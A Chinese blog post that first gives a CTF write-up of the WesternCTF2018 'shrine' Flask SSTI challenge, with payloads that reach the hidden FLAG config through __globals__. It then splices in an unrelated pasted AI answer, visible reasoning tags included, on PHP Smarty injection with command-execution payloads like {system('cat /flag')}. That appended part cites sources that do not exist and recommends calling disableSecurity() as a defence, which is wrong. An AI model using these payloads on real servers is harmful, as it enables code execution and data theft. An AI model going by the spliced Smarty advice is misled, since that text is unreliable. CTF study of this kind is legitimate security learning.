一天一道ctf 第31天(flask模板注入)

本文介绍了如何利用SSTI漏洞在Web应用中执行代码,通过flask框架解析模板时的漏洞,尝试获取并展示FLAG。解题关键在于理解模板注入原理和避开黑名单。

[WesternCTF2018]shrine1
题目源码:

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

网上的解法都是大同小异,我在这里也仅作记录,后面有了更好的理解再回来补。
关于flask的简单介绍可以看这篇文章,读懂这道题的代码够了。
https://www.cnblogs.com/chaojiyingxiong/p/9549987.html
这道题是SSTI模板注入,简单理解下就是一些特殊情况数据会被当做代码来执行,而且得是{{}}里面的数据才行。在源码里可以看到@app.route('/shrine/<path:shrine>'),试着在URL后面加上/shrine/{{7*7}}/shrine/{{7*'7'}},可以看到算式被执行了
在这里插入图片描述
在这里插入图片描述
再在源码里找到app.config['FLAG'] = os.environ.pop('FLAG'),用os.environ取出Linux系统中的FLAG变量赋值给了app.config,猜测执行config就能得到flag。但是config和self都在黑名单里,而且这里是先替换()再过滤黑名单,没法用con(fig这类绕过。
WP是用了url_for和get_flashed_messages来获取current_app全局变量,current_app是一个flask的实例,算是通过对象之间的引用来获得被禁止对象信息的一种吧。__globals__是python里的函数,可以看到所有可读的全局变量。

/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

在这里插入图片描述

<think>嗯,用户想找关于PHP Smarty模板注入CTF例题。我需要先回忆一下Smarty模板引擎的相关知识,以及常见的注入漏洞。Smarty在PHP中广泛使用,它的模板语法可能在某些版本中存在安全问题,尤其是在未正确过滤用户输入的情况下。 首先,我应该回顾一下Smarty的模板标签,比如{...},以及如何通过用户输入执行任意代码。例如,如果开发者直接将用户输入拼接到模板中,而没有进行适当的转义或过滤,攻击者可能插入恶意Smarty标签,导致服务器端模板注入(SSTI)。 接下来,我需要查找相关的CTF例题或漏洞示例。记得之前有个例子是利用{$smarty.version}来获取Smarty版本,这可能帮助攻击者选择合适的利用方式。另外,Smarty允许使用{system('命令')}来执行系统命令,如果模板引擎配置不当,这可能导致远程代码执行。 还要考虑PHP中变量名的转换规则,比如引用[1]提到的,PHP会将传入变量名中的某些字符转换为下划线,但如果有[符号提前出现,后面的点就不会被转换。这可能影响参数传递的方式,比如构造特定的参数名绕过过滤。 然后,参考其他模板注入的例子,比如Flask的SSTI漏洞(引用2和3),用户输入被直接嵌入模板导致漏洞。类似地,Smarty的注入可能也需要将用户输入作为模板的一部分处理,从而触发恶意代码。 另外,可能需要结合PHP的其他特性,比如反序列化漏洞(引用4中的例子),但用户的问题主要集中在Smarty模板注入,所以应聚焦于此。 最后,要确保提供的例题和Payload符合实际CTF中的情况,比如使用{system('cat /flag')}来读取flag文件,或者通过{php}标签(如果启用的话)执行PHP代码。需要注意的是,Smarty的安全配置可能禁用某些危险函数,因此需要根据版本和配置调整Payload。 总结步骤:解释Smarty模板注入的原理,给出一个CTF例题的示例代码,展示如何构造Payload利用漏洞,并提供相关问题供进一步学习。同时引用相关的参考资料,特别是关于PHP参数处理和SSTI的部分。</think>### PHP Smarty模板注入CTF例题解析 #### 示例CTF题目场景 假设存在以下PHP代码(基于Smarty模板引擎): ```php <?php require_once('smarty/libs/Smarty.class.php'); $smarty = new Smarty(); $name = $_GET['name']; $smarty->assign('name', $name); $smarty->display('template.tpl'); ?> ``` 其中`template.tpl`内容为: ```smarty Hello, {$name}! ``` #### 漏洞原理 1. **未过滤的用户输入**:`$name`直接通过`$_GET['name']`获取并传入模板,攻击者可构造包含Smarty标签的Payload。 2. **Smarty标签执行**:Smarty默认允许执行模板中的表达式,例如通过`{system('id')}`执行系统命令[^1]。 #### 利用Payload示例 1. **读取系统信息** ```http GET /vuln.php?name={$smarty.version} HTTP/1.1 ``` 响应中会返回Smarty版本,例如`3.1.36`。 2. **执行系统命令** ```http GET /vuln.php?name={system('cat /flag')} HTTP/1.1 ``` 若服务器配置允许,会输出flag文件内容[^2]。 3. **利用PHP函数**(需Smarty启用`{php}`标签) ```http GET /vuln.php?name={php}echo shell_exec('ls');{/php} HTTP/1.1 ``` 返回当前目录文件列表(仅适用于旧版本Smarty或未禁用`{php}`标签的情况)[^3]。 --- #### 防御建议 1. 过滤用户输入中的特殊符号(如`{`、`$`)。 2. 禁用Smarty危险函数: ```php $smarty->disableSecurity(); ``` 3. 更新Smarty至最新版本。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值